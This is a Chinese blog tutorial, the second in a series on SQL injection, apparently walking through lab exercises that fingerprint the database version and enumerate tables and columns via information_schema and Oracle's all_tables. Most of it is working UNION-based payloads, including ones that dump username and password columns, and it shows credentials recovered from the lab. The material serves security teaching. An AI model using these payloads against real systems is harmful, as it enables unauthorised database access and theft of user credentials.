sql注入详解-02

简介: 前言在利用SQL注入漏洞时,通常需要收集数据库本身的一些信息。这包括数据库软件的类型和版本,以及数据库所包含的表和列的内容。

前言


在利用SQL注入漏洞时,通常需要收集数据库本身的一些信息。这包括数据库软件的类型和版本,以及数据库所包含的表和列的内容。


查询数据库类型和版本


不同的数据库提供了不同的查询其版本的方式。 您通常需要尝试不同的查询来查找有效的查询,从而可以确定数据库软件的类型和版本。

确定某些流行数据库类型的数据库版本的查询如下:

1.png

例如,您可以通过以下输入使用UNION攻击:

' UNION SELECT @@version--

这可能返回如下所示的输出,确认数据库是Microsoft SQL Server以及所使用的版本:

示例1

2.png

3.png

其实上图只要将from后面稍微改一改即可:

4.png5.png6.png

示例2

使用Burp Suite拦截和修改设置产品类别过滤器的请求。

确定查询返回的列数以及哪些列包含文本数据(具体操作详见上一篇)

验证查询返回两个列,它们都包含文本,在category参数中使用如下有效负载:'+UNION+SELECT+'abc','def'#使用以下有效负载来显示数据库版本:'+UNION+SELECT+@@version,+NULL#

7.png8.png9.png

列出数据库的内容

大多数数据库类型(Oracle除外)都有一组称为信息模式的视图,它们提供关于数据库的信息。

您可以查询information_schema.tables以列出数据库中的表:

SELECT * FROM information_schema.tables

这将返回如下输出:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE

此输出表明存在三个表,分别称为“产品”,“用户”和“反馈”。

然后,您可以查询information_schema.columns以列出各个表中的列:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

这将返回如下输出:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar

示例:输出显示指定表中的列以及每列的数据类型

10.png11.png12.png13.png14.png15.png里面主要是划红线的地方;

再看下面一个payload:

'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_ihdmlc'--

16.png

'+UNION+SELECT+username_uwlfut,+password_efkeac+FROM+users_ihdmlc--

17.png18.png19.png

Oracle上的信息架构

在Oracle上,您可以通过稍有不同的查询获得相同的信息。

您可以通过查询all_tables列出表:

SELECT * FROM all_tables

您可以通过查询all_tab_columns列出列:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

示例

'+UNION+SELECT+'abc','def'+FROM+DUAL--

20.png

'+UNION+SELECT+table_name,NULL+FROM+all_tables--

21.png22.png

'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_PQHJGZ'--

23.png

PASSWORD_AHCZXT
USERNAME_FWAHRU

24.png

'+UNION+SELECT+USERNAME_FWAHRU,PASSWORD_AHCZXT+FROM+USERS_PQHJGZ--

25.png26.png27.png

在单个列中检索多个值

在前面的示例中,假设查询仅返回单个列。

通过将值串联在一起,可以轻松地在单个列中同时检索多个值,理想情况下,还可以使用合适的分隔符来区分组合的值。 例如,在Oracle上,您可以提交输入:

' UNION SELECT username || '~' || password FROM users--

它使用双管道序列||,这是Oracle上的字符串连接操作符。注入的查询将用户名和密码字段的值连接在一起,以~字符分隔。例如,查询的结果将允许您读取所有的用户名和密码:

...
administrator~s3cure
wiener~peter
carlos~montoya
...

注意,不同的数据库使用不同的语法来执行字符串连接。有关更多细节,请参见SQL注入备忘单: https://portswigger.net/web-security/sql-injection/cheat-sheet

'+UNION+SELECT+NULL,'abc'--

示例

28.png29.png

'+UNION+SELECT+NULL,username||'~'||password+from+users--

30.png31.png

administrator~dqjdhb7q21vlpoqar7ze

32.png33.png

目录
相关文章
|
1月前
|
SQL 监控 安全
SQL注入的实现原理以及防止
SQL注入的实现原理以及防止
|
2月前
|
SQL 数据库
20、绕过去除and、or、union select、空格的sql注入
20、绕过去除and、or、union select、空格的sql注入
32 0
|
2月前
|
SQL 数据库
小课堂 -- 绕过去除特殊字符的sql注入
小课堂 -- 绕过去除特殊字符的sql注入
22 0
|
2月前
|
SQL Java 数据库连接
[SQL]SQL注入与SQL执行过程(基于JDBC)
[SQL]SQL注入与SQL执行过程(基于JDBC)
50 0
|
2月前
|
SQL 关系型数据库 MySQL
【MySQL进阶之路丨第十四篇】一文带你精通MySQL重复数据及SQL注入
【MySQL进阶之路丨第十四篇】一文带你精通MySQL重复数据及SQL注入
48 0
|
2月前
|
SQL 测试技术 数据库
SQL注入,跨站脚本,跨站请求伪造,傻傻分不清楚
SQL注入,跨站脚本,跨站请求伪造,傻傻分不清楚
|
1月前
|
SQL Java 应用服务中间件
Java项目防止SQL注入的四种方案
Java项目防止SQL注入的四种方案
40 0
|
2月前
|
SQL 安全 关系型数据库
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞,品相还不错,可执行任意 SQL 语句。 总之,吃了一惊,一个防 SQL 注入的工具居然也有 SQL 注入漏洞。 请看这段代码
416 1
|
3月前
|
SQL Oracle 关系型数据库
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作
89 0
|
7天前
|
SQL 安全 Go
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
在Python Web开发中,确保应用安全至关重要,主要防范SQL注入、XSS和CSRF攻击。措施包括:使用参数化查询或ORM防止SQL注入;过滤与转义用户输入抵御XSS;添加CSRF令牌抵挡CSRF;启用HTTPS保障数据传输安全;实现强身份验证和授权系统;智能处理错误信息;定期更新及审计以修复漏洞;严格输入验证;并培训开发者提升安全意识。持续关注和改进是保证安全的关键。
16 0